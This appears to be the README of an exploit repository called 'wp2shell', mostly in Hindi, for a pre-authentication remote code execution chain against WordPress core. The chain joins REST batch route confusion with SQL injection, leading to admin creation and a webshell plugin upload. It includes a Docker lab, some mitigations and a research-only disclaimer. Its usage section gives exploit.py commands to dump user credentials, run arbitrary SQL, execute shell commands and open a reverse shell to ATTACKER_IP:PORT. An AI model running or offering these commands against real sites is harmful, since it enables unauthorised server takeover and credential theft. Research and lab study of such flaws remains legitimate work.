
प्री-प्रमाणीकरण RCE शोषण WordPress के लिए (CVE-2026-63030 + CVE-2026-60137) जो रूट भ्रम और SQL इंजेक्शन को श्रृंखलित करके पूर्ण शेल एक्सेस प्राप्त करता है। सुरक्षित परीक्षण के लिए Docker लैब शामिल है।
WordPress Core Pre-Auth RCE — Route Confusion + SQL Injection chained to Remote Code Execution
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| Alias | wp2shell |
| Vulnerability Type | REST API Route Confusion → SQL Injection → RCE |
| Severity | Critical — CVSS 10.0 |
| Affected | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| Fixed in | WordPress 6.8.6, 6.9.5, 7.0.2 |
| Auth Required | None (Pre-Auth) |
wp2shell उस शोषण श्रृंखला का नाम है जो WordPress Core में 2 कमजोरियों को जोड़ती है:
/wp-json/batch/v1) में जब sub-request का पथ गलत होता है तो $matches[] और $validation[] एरे के बीच इंडेक्स में बेमेल हो जाता है, जिससे अगला sub-request गलत हैंडलर के तहत चलता है → REST API स्कीमा वैलिडेशन को बायपास करता है।WP_Query::get_posts() जब author__not_in पैरामीटर array के बजाय string के रूप में प्राप्त करता है तो उसे sanitize नहीं करता → रॉ SQL इंजेक्शन।दोनों बग मिलकर एक पूर्ण Pre-Auth RCE श्रृंखला बनाते हैं — बिना किसी क्रेडेंशियल के केवल HTTP अनुरोध के माध्यम से सर्वर पर शेल प्राप्त करना।
Route Confusion (REST वैलिडेशन को बायपास)
→ SQL Injection (DB पढ़ें: उपयोगकर्ता, गुप्त कुंजियाँ)
→ oEmbed कैश पॉइज़निंग (read-only SQLi → write primitive)
→ customize_changeset (नया व्यवस्थापक बनाएं)
→ प्लगइन अपलोड (webshell)
→ रिमोट कोड निष्पादन
पूर्ण तकनीकी विश्लेषण REPORT.md में पढ़ें।
लैब 3 कंटेनरों के साथ Docker Compose का उपयोग करता है:
| कंटेनर |
|---|
setup.sh चलाने के लिए)cd wp2shell-lab
bash setup.sh
स्क्रिप्ट स्वचालित रूप से:
समाप्त होने पर "WP2Shell Lab — READY!" लॉगिन जानकारी के साथ प्रदर्शित होगा।
cd wp2shell-lab
docker compose down -v
# कमजोरी की जाँच करें
python3 exploit.py check http://TARGET:8080
# जाँच करें + SQLi की पुष्टि करें
python3 exploit.py check --confirm-sqli http://TARGET:8080
# डेटाबेस से उपयोगकर्ता क्रेडेंशियल पढ़ें
python3 exploit.py read --preset users http://TARGET:8080
# इच्छानुसार SQL क्वेरी चलाएँ
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# पूर्ण RCE — कमांड चलाएँ
python3 exploit.py shell --cmd "id" http://TARGET:8080
# रिवर्स शेल
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
PoC स्क्रिप्ट शुरू से लिखी गई है, Icex0/wp2shell-poc से संदर्भित। केवल Python 3 stdlib का उपयोग करता है, किसी अतिरिक्त निर्भरता की आवश्यकता नहीं है।
| शर्त | आवश्यकता |
|---|---|
| WordPress संस्करण | 6.9.0–6.9.4 या 7.0.0–7.0.1 |
| REST API बैच एंडपॉइंट | सुलभ (डिफ़ॉल्ट रूप से सक्षम) |
| प्रमाणीकरण | आवश्यक नहीं |
| नेटवर्क | हमलाकार WordPress तक पहुँच सकता है |
functions.php में add_filter('rest_batch_disabled', '__return_true'); जोड़ें।/wp-json/batch/v1 अनुरोधों को ब्लॉक करें।यह रिपॉजिटरी अनुसंधान, शिक्षा और CTF के उद्देश्य से नियंत्रित लैब वातावरण में बनाई गई है। वास्तविक प्रणालियों पर हमला करने के लिए उपयोग न करें। कोई भी अनधिकृत शोषण कानून का उल्लंघन है।
| इमेज |
|---|
| पोर्ट |
|---|
| WordPress (कमजोर) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | internal |
| phpMyAdmin | phpmyadmin:latest | 8081 |